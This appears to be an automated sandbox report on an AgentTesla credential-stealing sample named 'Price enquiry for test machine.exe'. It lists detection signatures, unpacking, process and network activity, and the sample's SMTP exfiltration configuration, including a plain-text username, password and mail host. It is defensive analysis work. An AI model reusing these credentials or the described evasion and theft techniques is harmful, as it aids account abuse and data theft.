Play interactive tour

Edit tour

Windows Analysis Report Price enquiry for test machine.exe

Overview

General Information

Sample Name:	Price enquiry for test machine.exe
Analysis ID:	502599
MD5:	c7564ca82a81b09c5d401918fda024c2
SHA1:	ef07d5e0c6f49aa75a63108ec655860da6591a6a
SHA256:	f9db35de0ae4c59df7d3ef7525cc111b55e9304cf8d61714d69378aa201acd7f
Tags:	agentteslaexe
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Detected unpacking (overwrites its own PE header)

Yara detected AgentTesla

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Initial sample is a PE file and has a suspicious name

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Machine Learning detection for sample

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Tries to steal Mail credentials (via file access)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

Price enquiry for test machine.exe (PID: 5956 cmdline: 'C:\Users\user\Desktop\Price enquiry for test machine.exe' MD5: C7564CA82A81B09C5D401918FDA024C2)

Price enquiry for test machine.exe (PID: 4344 cmdline: 'C:\Users\user\Desktop\Price enquiry for test machine.exe' MD5: C7564CA82A81B09C5D401918FDA024C2)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "osy@seredebe.com", "Password": "@4u$1Ldri{uQ", "Host": "smtp.seredebe.com"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.546940233.0000000004940000.00000004.00020000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.546940233.0000000004940000.00000004.00020000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000001.00000002.546899969.0000000003841000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.546899969.0000000003841000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000001.00000002.546967586.0000000004982000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.546967586.0000000004982000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: Price enquiry for test machine.exe PID: 5956	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Price enquiry for test machine.exe PID: 4344	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Price enquiry for test machine.exe PID: 4344	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.Price enquiry for test machine.exe.7a77e8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.7a77e8.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.4980000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.4980000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2371458.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2371458.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.7a77e8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.7a77e8.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2360000.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2360000.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.4940000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.4940000.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.415058.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.415058.0.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.415058.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.415058.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.400000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.400000.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2360000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2360000.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.1.Price enquiry for test machine.exe.415058.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.1.Price enquiry for test machine.exe.415058.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.1.Price enquiry for test machine.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.1.Price enquiry for test machine.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.4940000.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.Price enquiry for test machine.exe.4940000.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
1.1.Price enquiry for test machine.exe.415058.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.1.Price enquiry for test machine.exe.415058.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2371458.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Price enquiry for test machine.exe.2371458.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Click to see the 27 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "osy@seredebe.com", "Password": "@4u$1Ldri{uQ", "Host": "smtp.seredebe.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: Price enquiry for test machine.exe	Virustotal: Detection: 25%			Perma Link
Source: Price enquiry for test machine.exe	ReversingLabs: Detection: 24%

Machine Learning detection for sample

Show sources

Source: Price enquiry for test machine.exe

Joe Sandbox ML: detected

Source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 1.2.Price enquiry for test machine.exe.400000.1.unpack	Avira: Label: TR/Spy.Gen8
Source: 1.1.Price enquiry for test machine.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Unpacked PE file: 1.2.Price enquiry for test machine.exe.400000.1.unpack

Detected unpacking (creates a PE file in dynamic memory)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Unpacked PE file: 1.2.Price enquiry for test machine.exe.4980000.4.unpack

Source: Price enquiry for test machine.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: Price enquiry for test machine.exe, 00000000.00000003.287527899.000000000F380000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Price enquiry for test machine.exe, 00000000.00000003.287527899.000000000F380000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_00405E93 FindFirstFileA,FindClose,	0_2_00405E93
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_004054BD
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_00402671 FindFirstFileA,	0_2_00402671
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00404A29 FindFirstFileExW,	1_2_00404A29
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_00404A29 FindFirstFileExW,	1_1_00404A29

Source: Joe Sandbox View	IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View	IP Address: 208.91.199.223 208.91.199.223

Source: global traffic	TCP traffic: 192.168.2.3:49834 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.3:49838 -> 208.91.199.223:587

Source: global traffic	TCP traffic: 192.168.2.3:49834 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.3:49838 -> 208.91.199.223:587

Source: Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	String found in binary or memory: http://fFlwaf.com
Source: Price enquiry for test machine.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Price enquiry for test machine.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	String found in binary or memory: https://8CVKb4wLGkADrnEe6T.org
Source: Price enquiry for test machine.exe	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: Price enquiry for test machine.exe, 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: smtp.seredebe.com

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_00C0B982 recv,

1_2_00C0B982

Source: Price enquiry for test machine.exe, 00000000.00000002.288113341.00000000006CA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 0_2_00404FC2 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404FC2

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: Price enquiry for test machine.exe

.NET source code contains very large array initializations

Show sources

Source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack, u003cPrivateImplementationDetailsu003eu007bB0AD7952u002d9BA5u002d4C1Au002d8F12u002dF5F6821AA348u007d/CB52A583u002d7065u002d495Fu002d9FFBu002dDDFBDAC53907.cs

Large array initialization: .cctor: array initializer size 11930

Source: Price enquiry for test machine.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 0_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030FB

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_004047D3	0_2_004047D3
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_004061D4	0_2_004061D4
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E46A2B	0_2_72E46A2B
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E46A3A	0_2_72E46A3A
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_0040A2A5	1_2_0040A2A5
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_049DA018	1_2_049DA018
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_049DF110	1_2_049DF110
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_049D7D00	1_2_049D7D00
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_05447027	1_2_05447027
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_054409A0	1_2_054409A0
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_054429A8	1_2_054429A8
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_0040A2A5	1_1_0040A2A5

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: String function: 00401ED0 appears 46 times
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: String function: 0040569E appears 36 times

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C0B136 NtQuerySystemInformation,		1_2_00C0B136
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C0B105 NtQuerySystemInformation,		1_2_00C0B105

Source: Price enquiry for test machine.exe, 00000000.00000003.286324609.000000000F49F000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Price enquiry for test machine.exe
Source: Price enquiry for test machine.exe, 00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRsjyOsdLqvhuIzXOfDQRRmNhPfWtmUIrRAfWeL.exe4 vs Price enquiry for test machine.exe
Source: Price enquiry for test machine.exe	Binary or memory string: OriginalFilename vs Price enquiry for test machine.exe
Source: Price enquiry for test machine.exe, 00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameRsjyOsdLqvhuIzXOfDQRRmNhPfWtmUIrRAfWeL.exe4 vs Price enquiry for test machine.exe

Source: Price enquiry for test machine.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Price enquiry for test machine.exe	Virustotal: Detection: 25%
Source: Price enquiry for test machine.exe	ReversingLabs: Detection: 24%

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File read: C:\Users\user\Desktop\Price enquiry for test machine.exe

Jump to behavior

Source: Price enquiry for test machine.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Price enquiry for test machine.exe 'C:\Users\user\Desktop\Price enquiry for test machine.exe'
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process created: C:\Users\user\Desktop\Price enquiry for test machine.exe 'C:\Users\user\Desktop\Price enquiry for test machine.exe'
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process created: C:\Users\user\Desktop\Price enquiry for test machine.exe 'C:\Users\user\Desktop\Price enquiry for test machine.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C0AFBA AdjustTokenPrivileges,		1_2_00C0AFBA
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C0AF83 AdjustTokenPrivileges,		1_2_00C0AF83

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File created: C:\Users\user\AppData\Roaming\ff3jhzsj.yhh

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File created: C:\Users\user\AppData\Local\Temp\nslB4A9.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@3/2

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 0_2_00402053 CoCreateInstance,MultiByteToWideChar,

0_2_00402053

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 0_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404292

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_00401489 GetModuleHandleW,GetModuleHandleW,FindResourceW,GetModuleHandleW,LoadResource,LockResource,GetModuleHandleW,SizeofResource,FreeResource,ExitProcess,

1_2_00401489

Source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: Price enquiry for test machine.exe, 00000000.00000003.287527899.000000000F380000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Price enquiry for test machine.exe, 00000000.00000003.287527899.000000000F380000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Unpacked PE file: 1.2.Price enquiry for test machine.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Unpacked PE file: 1.2.Price enquiry for test machine.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.gfids:R;.rsrc:R;

Detected unpacking (creates a PE file in dynamic memory)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Unpacked PE file: 1.2.Price enquiry for test machine.exe.4980000.4.unpack

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E41080 push eax; ret	0_2_72E410AE
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00401F16 push ecx; ret	1_2_00401F29
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C0306D push edi; ret	1_2_00C0306E
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C03401 push eax; ret	1_2_00C0340E
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C025DD push eax; ret	1_2_00C025DE
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C02DA8 push edi; ret	1_2_00C02DB6
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C02570 push ecx; ret	1_2_00C02572
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C032DC push eax; ret	1_2_00C032DE
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C02685 push edi; ret	1_2_00C02686
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C03389 push eax; ret	1_2_00C0340E
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00C02B20 push eax; ret	1_2_00C02B22
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_00401F16 push ecx; ret	1_1_00401F29

Source: Price enquiry for test machine.exe	Static PE information: real checksum: 0x0 should be: 0x7a0a3
Source: hjoxggvy.dll.0.dr	Static PE information: real checksum: 0x7bd8 should be: 0xaeed

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

File created: C:\Users\user\AppData\Local\Temp\nslB4AA.tmp\hjoxggvy.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
